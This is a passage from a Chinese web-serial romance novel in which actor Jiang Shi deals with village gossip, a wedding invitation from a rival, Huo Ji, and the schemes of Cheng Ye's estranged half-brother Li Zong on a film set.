高新和可太喜欢当江时助理这个职业了,跟着江时的时候包吃包住,公司还给交五险一金,而且江时人懒,活又不多,大部分时候都是程野在伺候他。 短短几年,就给他养成了个小胖子。 小胖子坐在江时身边,“小表哥,我要减肥了。” 江时戴着帽子侧眼看了他一眼。 高新和道:“前两天,我朋友给我介绍了他表妹……”他红着小脸蛋,“她太可爱了,我、我要减肥跟她在一起。” 江时说:“人家同意跟你在一起了吗?你就减肥。” 高新和:“……” “我正在努力。”他往江时身边挤,“小表哥啊,她是你粉丝,你到时候能不能给我签个名,上面就写‘to全世界最最最温柔可爱的媛媛’。” 江时把帽子往下一拉,“睡觉了,勿扰。” * 无论外面的变化多翻天覆地,溪柳村还是那个样子。 放眼看去,入眼尽是巍峨的高山,群山沉默,山下的人一年复一年的耕种劳作。 其实也有变化,年轻人都出去了,村里剩下的都是些上了年纪的人。 江雪依旧开着她的电三轮来接他们。 往日里光鲜亮丽的江大明星,回到了家,依旧得撅着屁股往车上爬。 江雪道:“知道你时间紧,今天休息一天,明天就走,家里还剩下的最后一只鸡被我杀了,晚上好好给你们补补。” 高新和咧着个嘴嘿嘿笑。 听说江时回来,村里人都来看他。一堆人围在他家院子里,那些他记忆里的容颜苍老了很多。 “好久不见,这大明星气质就是不一样,这皮肤水嫩嫩的,看着比读书那会好多了。” “哎哟!我孙女老喜欢你演的电视剧了,天天对着手机喊你老公,她也就比你小几岁,要不你干脆娶了她得了。” “去去去!就你孙女那个样子,人家江时怎么可能会看得上。我家有个侄女,名校毕业,长得又漂亮,配个明星绰绰有余嘛。” “江时肯定有对象了,只是没带回家而已。这当明星是不是很赚钱啊?这都买了大房子搬到江城去了,我儿子我觉得长得也还行,江时,你要不要带带他?” “是啊,都是一个村的,总不能吃独食吧?你可不能学程野那样,自己开了公司,结果一个村里人都不收,还说什么要进去按流程递简历。我呸!他一个大老板,连这点主都做不了,我看他就心黑,自己发达了,不管乡里乡亲的死活。” …… 江时脸上的笑越来越少。 江雪拿着扫帚从屋里出来,她挥舞着扫帚从他们脚底扫过,“走走走!讲闲话的都给我滚!” 她叉着腰挡在江时面前,头发白了好些,但声音依旧洪亮。 “我也呸!还说他们心黑,哪有你们黑,本事没有,就想着空手套白狼。那搬砖还要看有没有这个力气呢,你们倒好,光想占着茅坑不拉屎。” “你是程野他爹还是他妈,还让他给你安排工作。我呸!当初他连饭都吃不上一口的时候你们谁给过他一口吃的,现在他发达了,一个个的亲得跟什么似的。” “还有你们,天天想着给我儿子说媒,我儿子要得着你们介绍?还有那些说什么要让他带着做明星的人,也不撒泡尿照照看自己长什么样,就那歪瓜裂枣的样子也想当明星,做梦呢吧!” 江雪战斗力不减当年,一个人对一群人,丝毫不减下风。 很快院子里围着的人被她轰了个干干净净。 她拿着簸箕坐在江时身边择菜,“那些人就是个贪心的,见你们好了就上赶着捞好处,捞不到好处又开始骂人,别搭理他们。” 江时问她,“你在家里是不是经常遇到这样的事?” 江雪手上的动作顿了顿。 江时总算知道她为什么愿意离开了。 见他这样,江雪安慰他,“与其在这里待得闹心,还不如换个没人认识我的地方,再说了,现在交通这么发达,我要是想回来随时可以回来。” “我都想好了,我这个人呢闲不住,到了江城,我就拿着我的积蓄盘个小店,自己做点小买卖。” 江时说:“让程野给你搞。” 江雪给了他一下,“别动不动就喊程野,人家多忙啊。” 脆皮江时被捶得胸口发闷。 江雪住的小区是程野选的。他们住的那个位置太安静,没什么人,再加上跟他们两个男的住一起江雪也别扭,程野和江时就给她找了个热闹的小区,里面住的大部分都是退休的大爷大妈,旁边是公园,热闹,也有烟火气。 江雪到了,一看,果然很喜欢。 她很多东西都没拿来,唯一护在怀里的只有江时他爸的照片。照片放好,她就开始催促江时离开。 “我都问过新和了,他说你就请了两三天的假,剩下的我自己收拾,你赶紧去上班。” 江时看她一个人有些不放心,“要不……” “要不啥啊要不。”江雪推他,“你妈我又不是残了,这点活都干不了?该干嘛干嘛去,别搞那些虚的,等我收拾好了,哪天做顿饭,你和程野过来吃饭。” 她目送江时下楼,然后又走到窗子边,看着楼下那辆黑车离开。 江雪在新房子里转了两圈。 屋里亮堂堂的,宽敞又干净,她不习惯那些软沙发,于是屋子和阳台上都放着木椅。阳台放着好几个箱子,江雪以为是花,走近了看,箱子里种的都是菜,长得快的小葱和白菜已经发芽冒出一个尖尖了。 再回到她住的卧室里,虽然家具的材质不一样,但格局摆设都跟她在溪柳村的屋子里差不多。 她那懒骨头的儿子哪能想那么细,这些是谁做的不言而喻。 纸终究是包不住火的,江时和程野的关系哪怕她再怎么藏,总有人会看出端倪来。再加上程野越来越有钱,他对谁也不好,偏偏事事顺着她家,想让人不知道都难。 江雪泼辣,那些人不敢当着她的面说什么,但天底下哪有不透风的墙。 流言四起,她又不能堵上每个人的嘴。 江时小时候她弄丢了他,后来回到溪柳村,直到现在都是程野在照顾他。他叫她一声妈,可她为他做的实在很少。到了现在,她想,她终于可以为他做些什么了。 …… 刘和平拿着选好的本子在公司等江时过来。 快到晚上了,江时才姗姗来迟。他一把把他拉进办公室,“祖宗,你属蜗牛的啊?” 江时勾掉脸上的口罩,“我不是请了三天的假吗?” 刘和平道:“你那是跟我请吗?你那是通知我。” “算了,不跟你说这个……”他拉着江时坐下,“这个是我从递过来的本子里选出来我觉得比较好的几个,你带回去研究一下。” 江时拿着翻了翻,“你着急忙慌找我就为了这个?” “还有个事……”刘和平从抽屉里拿出一张请柬,“这里有个结婚请柬,上面写着你的名字,应该是给你的,送到公司里来了。” 江时放下剧本,接过刘和平手里的请柬,他打开,在新郎的位置看见两个大字—— 霍寂。 他不说话,刘和平凑过来,“这是霍家的帖子吧?最近媒体宣传得风风雨雨的,说的就是霍家儿子霍寂结婚的事,你们认识?” 江时合上请柬,“认识,不熟。” “噢……” 刘和平以为这就是礼貌性的送一下,毕竟江时现在多少也算个有名气的明星。 “这霍家还真是……” 他道:“他们家在之前还挺有钱的,不过这赚钱的手段好像不怎么干净,后来就渐渐把产业移到海外去了。在海外发展就发展吧,这结个婚还回国大张旗鼓的,好多人猜测,他们是不是要回来了……” 江时拿着剧本站起身,“好了,我回去了。” 刘和平在他身后喊,“哎……请柬!你不要了?” “不要了,丢了吧。” 他下了公司的楼,打电话给高新和,高新和在电话里破防,“小表哥,等我一会,刚刚不知道那个鳖孙端碗麻辣烫往我身上泼,我靠!我正在厕所里收拾呢。” 江时:“……” 外面人来人往的,好几个人朝他投来有些好奇的目光。 江时拉低帽檐,打算回刘和平办公室待一会。 就在这时,他跟前响起一声喇叭声。 江时条件反射地抬头看去,停在路边的那辆车将下车窗,露出一张既陌生又熟悉的脸。 快十年没见,霍寂那张脸依旧风流,甚至多了几分成熟的魅力,长发被他剪短,曾经瘦弱的身躯多了些肌肉。他眼尾微挑,穿着件酒红色的衬衫,露出来的皮肤苍白没有血色,手指搭在车窗上,手腕上藏着点若隐若现的纹身。 他弯了弯眼睛,“好久不见。” 江时转身就走。 霍寂也不下车,就这么看他走了几步,然后笑着开口,“这么多年了,你还是没变。你还跟程野在一起吗?真是恩爱长情啊……” “我很好奇,你真的知道程野是个什么样的人吗?” 江时转过身来。 霍寂坐在车里偏了偏头,“没关系,好戏才刚刚上场,我很期待你到时候的表情,一定很精彩。” “江大明星,一个月后,记得赏脸来参加我的婚礼。” 车子扬长而去,江时在冷风里莫名打了个哆嗦。 下一秒电话响起,他以为是高新和终于好了,没想到却是刘满的电话。 “江时,出事了。” 刘满道:“程哥的弟弟找上门来了。” 第99章 程野去出差了,刚好公司要买的材料在出差的地方,刘满就跟着一起去。 刘满在电话里道:“还好我去了,你是不知道当时的场面,要不是我拦着,程哥差点把人都杀了。” 江时大脑有些发懵,“程野……哪里来的弟弟?” 刘满艰难道:“你还记得他妈吗?他妈跑了,抱着他弟跑,把他一个人留在地狱里,那孙子就是当年他妈抱走的那个弟弟。” 这事说起来刘满就一肚子的火。 “那孙子是公司新进来的实习生,成绩还可以,也是A大的。他的脸跟程哥长得不是很像,他更多是像他妈一点,因此也没人觉得两人有什么关系。” “他报的是公司的技术岗,因为他专业能力还可以,公司有意栽培他,让他先轮岗,先适应公司的各个部门,转正后再去技术。” “这一轮,就轮到秘书部。” 在电话那头,刘满踢了下墙。 “那鳖孙就是故意的,平日里伪装得好好的。这回出差有个宴会,陈特助有事去不了,是他陪着程哥去的。” “你说咋能那么巧呢?好巧不巧是在人那么多的宴会上,好巧不巧一个女的撞了程哥,又好巧不巧地张着一张嘴巴说程哥和那个孙子长得像。” “那王八蛋平时伪装得跟个什么一样,女人一问,当着那么多人的面就哭了起来。” 江时的脸色很难看,“他承认了?” “岂止是认,他还说他一直在找程野,当着那么多人跪在程野跟前求着他原谅,程哥他……” 不用想,江时也知道接下来会发生什么。 他挂了电话,高新和刚从厕所出来,被江时一把抓住,“走,去找程野。” 高新和被他拽得伸着脖子,“哎不是……程哥不是出差了吗?找他干什么?” “程野出事了,赶紧开车去机场。” 高新和一听,一脚油门就踩了出去,“怎么了?” 江时来不及回答他,他拿着手机打程野的电话,打了好几个都没人接。 他又打开热搜,上面密密麻麻的都是关于那场宴会。 #惊!富豪失散多年的弟弟跪着求原谅为哪般?# #恒远集团总裁年轻时竟发生过这些事# 最爆的赫然就是第一条: #恒远集团老总当众打人# 他再打电话,还是没人接。 赶得再快,到刘满说的酒店时已经是晚上八九点。 刘满和陈朗在外面守着,看见他,像看见救星一样,“你可算来了,宴会回来后,程总就把自己关屋子里谁也没见。” 江时站在门口拧了拧门把手,“有喊酒店前台拿卡吗?” “喊了。”刘满道:“他在里面反锁了,开不了。” “程野!”江时站在外面拍了拍门,“程野你给我开门!” 没人回应他。 江时道:“喊人来把门砸开。” “这……” “这什么这?坏了我赔。” 十分钟后,江时踩在碎木板上朝身后的一行人道:“我先进去,有事我会喊你们。” 里面黑漆漆的,灯没开,窗帘拉得死死的,往里走了两步,江时才在床上看见个模糊的人影。 他没把灯打开,而是走到窗户边拉开窗帘。 外面城市的灯光照进来,天边还能隐约看见几颗闪烁的星。 程野曲着腿坐在床上,他身上的外套不知道去哪里了,里面的白衬衫被扯得凌乱,床上散着一包烟。他没抽,而是碾着烟丝一点点往嘴里塞。 程野就这么嚼着,眼底的光看不清,甚至连狂躁的气息也感受不到,整个人很平静。 江时站在他跟前。 男人抬眼看了他一下,像是想笑,但嘴角牵起不到一秒又落了下来。 “抱歉。” 江时坐在他身边,没问他宴会上的事,也没问他为什么不开门。他拿起烟盒,“想抽烟?” 程野咀嚼的动作顿了顿,半晌,他才开口,“我答应了你以后不抽。” 江时却说,“想抽就抽。” 他拉开高新和给他准备的包,从里面翻出一个备用的打火机,放了快半年,这还是第一次用。 漂亮的青年低头抽出一根香烟,打火机的光芒窜起,火苗倏地点亮他的眼,火光灼烧着烟头,没一会,烟雾便飘了上来。 江时咬住,学着别人的样子吸了口,他猛地咳了两声,露出一个很浅的笑,“吸了,的确像他们说的那样很畅快。” 他抽出嘴里那根塞到程野嘴里,又抽出一根新的点燃。 “抽吧,我陪一根。” 窗外传来不甚清晰的车鸣声,高出的探照灯时不时晃过,房间忽明忽暗。 程野咬着烟沉沉向后倒去,辛辣的味道呛进肺里,回忆随着烟雾飘荡。 “我抽烟是跟程建斌学的,那时候刚上初中,我个子拔高,长得快有他高,可能是我的身高让他感到威胁,他打我打得更凶了。” “打完后,他就坐在门槛上抽烟。小时候的星星很亮,满天的星照在他头上,我只能缩在肮脏的角落里看着他吞云吐雾。” “烟抽完了,他也就快活了,好像烦恼都随着飘散的烟雾飘远了。” “我那时候就在想,当真有这么快活吗?” “于是我偷走了他的烟……” 说到这里程野笑了声,猩红的光芒在他指尖明明灭灭。 “要是真的快活他也不会那样打我了。” 他又往后躺了点。 “我对我弟其实没什么记忆,我妈抱走他的时候他才五六岁。他从小就长得秀气,不像我,不像程建斌,像他妈,所以她对他很好……” 说到这里,程野不愿意再回忆,偏过了头。 一根烟燃尽了,烟味在两人身上缭绕,江时脱了鞋上床,他问程野,“要做爱吗?” 程野没做,他只是亲江时,亲得很用力,恨不得把自己挤进他身体,燃烧着,烧得连灰都不剩。 江时被捏得骨头都有点响,他轻蹙着眉头,什么都没说,顺从地接受,手掌落在男人的背上,哄孩子一样轻轻一下一下地拍着。 程野松开嘴,舌尖带着点勾连的银丝,他埋在江时脖子上,湿濡地蹭着那块皮肤。 “你会离开我吗?跟他们一样?” “不会。” 程野抱得更紧。 “真的不会?” 江时歪了下头,淡淡道:“除非我死了。” 程野笑了,笑完又害怕。 “算了,少爷不能死。” 江时没说话,摸了摸他的头。 程野就这样被他哄睡着了,窗外爬上来一轮明月,不知道是月光还是灯光,把酒店房间朦胧照亮,地上的玻璃碎片闪烁着光。 江时下了床,把地上的碎片打扫干净。 他出去的时候刘满和高新和还蹲在房间门口,看见他,两人一骨碌站起来,“怎么样了?” “被我哄睡着了。”他问刘满,“那个人在哪里?” 刘满带他过去,“我怕那孙子出去乱说话,就让他一直待在自己的房间里,找人看着的。” 自始至终江时都没表露出什么情绪,他站在门口,“行,我知道了,我进去跟他聊聊。” 刘满对江时的印象还停留在事事有程野替他操心上,他下意识有些担忧,“你行吗?要不我跟你一块进去。” “不用。” 江时推门进去,里面光线很亮,旁边的小沙发上坐着个年轻男生,听见开门声,抬起一张脸来。 一张偏清秀的脸,五官秀气居多,眼睛倒是有点大,看着人时显得无辜。 瞧见江时,他愣了愣,然后站起来,“你是江时?我、我看过你演的剧。” 江时坐他对面,他没讲话,微微抬着下巴,审视着对面的男生。 男生搓了搓手,结巴着开口,“您……您好,我叫李纵,你为什么会来这里,你和我哥是什么关系?” 他这声哥叫得倒很熟练。 江时说:“我跟程野是朋友。” 李纵听完松了口气,他笑了笑,眼睛很亮,拘谨地坐在江时对面,“我哥怎么样了啊?对不起,我不是故意的,我只是没想到他反应那么大。” 在电视上只能看见的漂亮青年垂下眼睫,那张脸如同屏幕里一样冷淡,他身上带着丝很浅的烟味,伴随着窗外的风送到李纵鼻子里。 他在这里坐了很久,以为等来的人会责骂、殴打他,甚至还逼迫他什么也不要说出去,可江时却很冷静,冷静到近乎冷淡。 他翘了翘嘴角,眼里没笑意,问了李纵一个无关痛痒的问题,“程野姓程,你怎么姓李?” 李纵愣了会,“我妈改嫁了,我继父姓李,我之前叫程纵。” 江时又问:“听说你是A大毕业的?” “是。” “我看你身上穿的衣服有些旧了,你继父一家对你不好吗?” 这回李纵愣的时间更长了。 “不……不是,他对我还行,是我比较节俭,没穿坏就舍不得扔。” 江时撩眉看了他一眼。 李纵被他看得脸色有些涨红,双手无措地揪着身侧的裤子,“可能小时候苦日子过得多了,后面就忍不住……” 江时打断他,“那你来找程野是为了什么?往事不可追,过去的已经过去了,你们当初走的时候不带他,那他就跟你们没什么关系,总不能是见他发达了,然后又想起曾经是一家人吧?” 他看着李纵。 “你是想找回曾经丢失的亲戚,还是说……想要钱?” 第100章 “我不是……”李纵有些激动地解释,“我没有想要钱,我也没想认他。我一开始不知道他是我哥,是后面接触了才觉得有点熟悉,宴会那天我本来就想找他说个明白,结果被人认出来,我一时激动,才……” 江时低着头看了眼手机,也不知道听没听,等他说完了,他从包里拿出一张支票放在李纵跟前。 “不管你是有意的还是故意,这里有五百万,拿着,从此以后程野跟你没有任何关系。” 李纵看着他那双漂亮的手递过来一张支票,他僵着身体没接,“我说了,我不要钱。我知道我和我妈对不起他,当初我妈抱我跑了,我们俩差点就饿死在外面,她也想过回去接他,可她连我都养不活,怎么接他?” “他怨恨我们是正常的,要打要骂我都受着,现在看他过得好我比谁都开心。如果他不喜欢我,我可以马上就走,这辈子都不出现在他面前,但你不能把我想得那么坏。” “江……江时……”他磕磕绊绊地喊他名字,“我喜欢你喜欢了好久,你演的每部剧我都看过,他们怎么想我都无所谓,你不能把我想得那么坏。” 江时笑了声,把支票收回去,“那你走吧,记住你说的话,这辈子都别出现在程野面前。” 李纵愣住了,没想到江时这么容易放过他,“那我哥……” “不是你哥,他叫程野,他家只有他一个人,你不需要跟他说什么,也不需要见他,我说的这辈子别出现在他面前,是从此刻现在开始。” 他说完,李纵真的很听话地收拾东西走了。 临走时,他看着江时,“那……我还能再见到你吗?” 他像个终于见到偶像的粉丝一样,眼睛亮晶晶的,里面装的全是江时。 李纵虽然脸看着清秀,但身高差不多有一米八,站在江时面前两人差不多一般高。 “江时哥……你……你能给我签个名吗?” 江时站在门口,没笑,也没露出什么厌烦的神色,“今天时机不对,下次吧。” 李纵一步三回头地走了。 高新和听刘满科普完,对着他的背影呸了一口,“不是,就这么让他走了?” 江时从兜里拿出那张支票,他捏着翻了几下,“不然呢,留在这里,等他哪天出其不意地刺激一下程野,让他再上次热搜?” 刘满也很不爽,“那总不能就这么轻松地让他走了吧?他说什么都不图就真的不图啊?信他还不如信我是秦始皇。” 江时撕了手里的支票,“他要是要钱还好,怕的是不要钱……” 他吩咐刘满,“去查,查他这个人,查他的家庭,还有,查他接触过什么人。” 刘满搓着手准备去了,走了几步,又折回来,“小江,你跟他在屋里聊了这么久,看出这孙子是个什么样的人不?” 江时把碎片丢在垃圾桶里,“一进门就闻到了好大一股茶味。” 情况都这样了,江时还是没忍住在心底感叹,程家的基因果然不一般。 聊完了,江时上楼去找程野,他叮嘱身边的两个人,“这事不会这么容易结束,以后看见李纵,他说的话一个字也别信,特别是高新和这种蠢的。” 莫名躺枪的高新和:“……” 他道:“靠!越想越气,我要找个地方套麻袋揍他丫的。” 江时撕了包消毒纸巾擦手,“我支持你。” 高新和朝他看去。 江时道:“记得挑没监控的地方,要是被发现了,别说认识我。” 高新和:“……” 这么会过去,酒店碎掉的门已经被清理干净,但没来得及换上新的,就这么敞开着,还好站在门口看不见里面的床。 刘满道:“这层楼的房间都被公司给包了,没什么陌生人。” 他也看出来了,江时不是他想象的那样什么都不会,相反,他远比他想象的更加冷静聪明。 “有你在程哥身边,我们就先回去休息了,有事的话给我或者陈特助打电话。” 高新和茫然地看了看,“那我呢?” 刘满把他拽走了。 江时站在门口用湿纸巾再次擦了遍手才进屋。他刚刚走的时候顺道把窗帘给拉上,屋子里又是黑漆漆地一片。 他摸索着往前走,走了还没两步,忽然被人抱着腰整个人朝床上跌去,没陷入柔软的床铺,反而落进一个温暖的怀里。 程野强势地圈住江时的手脚,声音里带着点质问,“你去见他了?” 江时动了动,没挣扎开,干脆给自己找了个舒服的姿势。 “干嘛,不让我见?” 男人闷闷地,“他跟你说什么了?” 江时坏从心起,“他说他是我的粉丝,家里贴着的全是我的海报。” 他一说完,果然搂着他的手更紧了,“他在骗你。” “你怎么就肯定他是在骗我?” 程野张了张嘴,话还没说出来,江时拍了下他的手,“松开,你要把我勒死在这吗?” 程野很不情愿地松了点手。 “行了……”江时道:“这个人来历不简单,我已经让刘满他们去查了,你别冲动,他就是故意想激怒你,你要是真打他,那才是遂了他的意。” 他顿了顿,“再不济,你也要挑个没监控的地方套着麻袋揍他一顿。” 直到此刻,程野紧绷着的肩膀才放松下来。 “我……我没想打人,是他非得跪在我跟前跟我说什么当初不是故意丢下我,说他妈后面还回来想把我带走……” 不知道想到什么,程野的眼眸黑沉沉的,血腥气涌了上来,又被他咽下。 他伸手搂紧江时的腰,“剩下的我会处理好。” 江时问他,“你会处理好?你打算怎么处理?给钱?还是威胁他?” “我……” 江时踹了下他的小腿,“行了程总,都说了这事没这么简单。霍寂一回国,李纵就找上了门,哪有这么巧的事?而且,这个李纵不要名不要利的,要是真像他说的那样,一开始就不应该出现在你面前。” “要我看,这多半是针对我俩的阴谋。” 说到这里,江时嘴角勾起一抹冷笑,“我倒要看看,他葫芦里究竟卖的是什么药。” 很快,江时就知道究竟是什么药了。 李纵的确像他说的那样,没去找程野,但他出现在了江时的剧组上。 江时新进了个剧组,他在里面演的是男二,一个骄纵的小王爷。剧组的取景地在一个深山老林里,差不多要与世隔绝一个月左右。 小王爷身边有个护卫,到死了都对小王爷忠心耿耿。刚开机的时候演护卫的演员家里出事了,导演一直在物色新的人选。 副导演说他认识一个人,挺合适这个角色,可以推荐来试试。 然后江时就看见了李纵的脸。 对方脸上还带着点伤,笑得眼睛像个月牙一样弯起来,“好巧啊江时哥哥。” 江时也笑,“是挺巧,没想到世界这么小,在这里也能遇到你。” 李纵道:“我之前为了钱什么活都干,也演过几次戏,后来去恒远上班,以为终于过上衣食无忧的日子,只不过后来……”他故作轻松地耸了下肩,“没办法,我缺钱,有人介绍,就来这里了。” 江时卷了卷手里的剧本,“你不是说你养父对你还不错吗?怎么还会缺钱?” “他生病了,挺严重的病,现在躺在医院里昏迷不醒,每天都需要大量的医药费。” 他说到这里就不说了,等了会,江时又问他,“既然他生病了,那天我给你钱你怎么不要?” 李纵看着他,“我不想你觉得我是那样的人,我是缺钱不假,但是不属于我的钱我一分也不会拿,更何况是……是那种钱。” 化妆师站在不远处喊,“江时老师,到你化妆了。” 对话到此为止。 如今江时也拥有了单独属于自己的化妆间,化妆师是之前拍戏提醒他的那个小姐姐,如今成了他的专属化妆师。 听完全部对话的高新和跟个猴子一样在化妆间急得团团转,“不是……小表哥你怎么这么淡定,你被cpu了知不知道?” 江时靠在椅子上看他上蹿下跳,“那不然呢?你想让我干嘛?拍拍屁股,戏都不拍了,马上跟他分道扬镳?” 高新和哽了哽。 江时道:“你去让刘哥查查他,他不是说他拍过戏吗,查查看他之前都拍过什么。” 山里信号不太好,江时的手机一直处于无信号的状态,别说看消息,连个电话都打不出去。 化完妆他出去等戏,李纵就在门口站着,看见他立马跑过来打招呼,“江时哥哥,我们来对戏吧?” 江时说:“我跟你很熟吗?” 李纵愣了愣,有些尴尬地改口,“江老师。” 他跟在江时身后,“你还在为那天的事生气吗?对不起,我真的不是故意的。而且我现在已经按照你说的,没出现在他面前,这次在剧组碰见你是个意外,如果你不喜欢我,趁还没开拍,我可以跟导演说我不干的。” 江时换上了小王爷的衣服,鲜艳的红色,头发上坠着亮晶晶的珠子,唇红齿白,一眼看去,像画里出来的人物。 发丝间的坠子随着他的步伐晃啊晃,李纵眼神有些发直,被勾着,跟在江时身后。 江时坐着,他就蹲在江时身边。 “我其实也不是很想认回我哥。”他朝江时说。 “我其实对他没什么印象,那时候我太小了,很多事都不太记得,就只记得他有些凶。” “我性子软,小时候身体又不好,再加上我亲生父亲那个样子,我妈就对我要在意一点。可能是因为这个,他就恨上了我。” 说着,他抬头看了眼江时。 及腰的青丝从他脑后垂下,他垂着眼,翻了页台词本。 “我其实一直都很怕他,他小时候经常打我,我妈那时候给我做了个玩具,我本来想和他一起玩的,他非说我在炫耀,踩烂了玩具,还推了我……” 他伸手撩开额前的刘海,露出一个浅浅的疤痕,“我的头撞到了柜子上,留下这么一个疤。” 他笑了笑,“他是我哥,我不怪他。” “只是偶尔看见他的脸,我还是会怕,那天在宴会上,他又朝我露出那种神情,我太害怕了,没忍住说错了话。” 江时脸上适时露出点于心不忍的神情,却在心里有些不合时宜地想。 程野泡茶的技术怕不是跟这位学的吧?【你现在阅读的是 】 100-108 第101章 导演在喊拍戏,两人的对话到此终止。 天又热,江时穿着一层又一层的衣服来来回回走戏,拍完时搭在里面的背心都湿透了。 高新和拿着小风扇对着他吹,“我刚刚偷偷下山去联系刘哥了。对了,程哥还给我说,让你回去给他打电话。” 江时累得不想说话,嫌弃地上脏,靠在树上喝水。 李纵手里拿着两个消暑的水果过来,“江老师,我带了点水果,你要吃吗?” 江时拧上瓶盖,神色淡淡,“不了。” 李纵收回去,笑了声,“我看你今天晚上好像没戏了,我也没有,待会要一起回住的地方吗?” 江时拿过高新和手里的风扇,对着自己的脖子吹了吹,“不顺路,以后也别找我,我们不熟。” 李纵脸上的笑僵了一瞬,“我们早上不是还聊得挺好的吗?” “好吗?”江时笑了声,“我只是想看看你要干嘛。” 漂亮青年带着点冷意的目光从李纵脸上扫过,“领你入门的导演没跟你说过,你演技很差吗?” “到底是谁给你的错觉,会让你觉得你可以比过程野的?靠你这点卖惨的手段,还是这让人多看一眼就反胃的笑容?” 江时逼近李纵,“小时候,你只会这点手段,现在大了,还只会这点手段?程野不是小时候的程野,我也不是你妈,收起你令人作呕的表演吧。” 李纵的笑彻底僵在脸上。 “告诉你背后的人,别像阴沟里的老鼠搞这些见不得人的手段,太久没见阳光,迟早会腐烂的。” 说完,他不再看他一眼,转头就走。 走了两步,李纵不甘心地在他身后开口,“我哪里不如他?” 江时扭头,看见他眼底烧着一团火。 “我是真的喜欢你,不就是钱吗?他能给的我也能给你。再说了,我哪里说错了?程野本来就是个冷血无情的人,他没有心,他就是个怪物,不止我这样认为,我爸、我妈他们都这样认为……” 高新和一个箭步上前,他一把抓住李纵的衣领,“你放屁!程哥才不是这样的人,你信不信我打得你满地找牙。” 李纵哽着脖子,“我说的本来就是真的,我不信你们没有感觉。”他看着江时,“他跟你在一起就是图你好看,他哪知道什么是爱,等到你老了,他自然就忍不了你……” 江时朝高新和勾了勾手指,“你放开他。” 高新和自然不乐意,“小表哥,你知道他在说什么吗?怎么就这么轻易放了他?” 江时不说话,只是看着他。 高新和在他的眼神下坚持了几秒,最终还是松了手。 下一秒,拳头挥上李纵的脸颊。 江时甩了甩手,看向他的眼神充满厌恶,“这话别让我听见第二次。就你这样还想和程野比,你连他的一根头发丝都比不上。” …… 山里没酒店,导演在山下的农户里租了房。 回去的路上,高新和咋咋呼呼,“小表哥……”他朝江时竖起大拇指,“你也太牛了,在我心里你就是这个。” “这一拳打得好、打得妙,简直打到我心坎上了。” 江时说:“手疼。” 高新和低头一看,江大明星骨节都红了。 “……” 往下走了段距离,终于有信号了。 江时手机叮叮当当地响,拿出来一看,大部分是程野的消息。 一开始跟他报备问好,后面见他不回消息,又开始埋怨拈酸,最后一条赫然是—— 【我来找你了。】 江时:“……” 江时缓缓打了个问号。 还没等到程野回消息,远远地,江时就看见他住的那户人家院子里蹲着个高大身影。 大热的天,在外面程野很守男德地穿了一身黑,拿着老伯捡来的干柴对着膝盖一用力,稍长一点的木柴顿时就被掰成两段。他把木柴丢进灶火里,火顿时烧得更旺。 老伯脸上的笑容更盛,“小伙子不错,会干活的勒,跟其他人都不一样。” 江时蹬蹬往下跑了两步,程野听见动静,回头,露出一个笑来,“老伯说你每天要晚上十点后才回来,我以为还要等呢。” 江时探头看了眼,锅里炒着一只鸡。 “今天我没夜戏,提前收工回来,你怎么过来了?” 鸡是江雪给程野的,据说是楼下大爷卖的跑地鸡,程野干脆拿来给江时补身体。 大伯是个热心肠的,也不知道演员住的地方不能随便带人进来,一听他要找江时,带着就来了。 见他拎了个鸡,非要给他做一个地道的本地菜,于是就有刚刚程野蹲在地上烧火的一幕。 程野拍拍手,把舞台交给大伯,带着江时旁边的树下坐着纳凉。 “我再不来,只怕有些不要脸的东西要把你勾走了。” 江时:“……” 高新和:“……” 高新和顿了下,“我就跟他说那个李纵对你特别热情。” 程野一听,屁股顿时就坐不住了,连夜往剧组赶,生怕来晚一步江时就跟人跑了。 他人高大,江时坐着,他就蹲着杵在他身边,这么多年了,还是一点老总的样子都没有。 江时拿着脚尖踢了他一下,“程野,在你心底我就是这么一个经受不住诱惑的人?” 程野埋着个头,“我相信人民,可有的人非要拿人民币来考验人民。” 这都什么跟什么。 程野又道:“我是相信你,但我不相信李纵。” 江时那么好看,天天在他眼前晃他都忍不住,更何况是别人。要是江时拒绝了他,他一个恼羞成怒,对江时不利怎么办? 他得来看着。 江时:“……” 程野把大伯放在院子里的干瘪橘子挑挑拣拣,选出个水润的橘子剥给江时,总算想起来跟他说正事。 “刘满调查回来了。” 江时拿着橘子坐直身体。 “当年那个女人带着他从程家出去后过了段比较艰难的日子,后来她就找了个人再婚。那男的阳痿,生不了小孩,也没女的愿意嫁给他,当时李纵还小,再加上对生父没什么感情,那男的是真的把他当儿子在养。” “可能是因为那男的本身就有问题,对他们还不错。但因为他身体的原因,他变得格外敏感自卑以及怕生。” “他害怕见到陌生人,严重到甚至不能出门。一家的生活全落在了李纵他妈身上。” 程野靠在江时脚边。 “虽然程建斌打她,但除了一些家务活,她什么重活都没干过。我小一点就在家里帮她干家务,大一点就跟着程建斌出门下地。她看似很苦,但其实也吃不了苦。” 这也是为什么一个年轻女性带着一个不需要天天照看的孩子在外会过不下去的原因,而她的解决办法竟然是找个男的再嫁了。 “那男的家里人可怜她,每个月会给个几百的生活费,她再出门做点零工,也能勉强维持。后来……” 程野缓了会。 “后来那男的得病了,慢性病,死不了人,但医药费足够吓坏人。” “可能是老天也在照顾她,那男的得病没多久,他家要拆迁了。男的家里说,拆迁款可以给她拿着,但她必须得和那个男的领证,李纵得和他姓,她得拿拆迁款去付医药费。” “这一看就是一个无底洞,但她还是义无反顾地跳了进去。” “半年后,她拿到了拆迁款,但陆陆续续用了这么多年,前不久,拆迁款也花完了。前段时间,有人给那个男人转了院,最好的医院,最好的治疗,背后人是霍寂。” 江时多少也猜到是霍寂搞的鬼,但他有一点没搞明白。 “按照你说的,他们之前的经济水平也只能勉强维持正常的生活,李纵他养父生病,到拆迁款下来,中间有长达半年的空窗期,她是怎么坚持下来的?” “还有,她是跑出去的,又要怎么跟别人领证?” “谁知道呢……”程野敛下眼眸,声音里夹杂着一丝冷意,“可能是因为爱,可能是别人帮她了,谁知道呢……” 江时看了他一眼。 程野站起身,问他,“上山的路上顺道采了点蘑菇,要吃吗?” 江时问:“会看见小人吗?” 程野笑了声,“如果你非要在没熟的时候尝一口。” 大伯炒的鸡的确很地道,辣得江时斯哈斯哈的,他吃一口鸡肉,又吃一口脆脆的清炒蘑菇。 没拍夜戏的演员陆陆续续收工回来,远远地就被江时住的院子里飘来的香味吸引住。 “江老师,你这吃的什么,好香啊?” 江时道:“一起来吃。” 就等他这句话,桌子边呼啦一下围着一群人。有人看见程野,问他,“这帅哥谁啊?” 程野道:“我是他老乡,来看看他。” 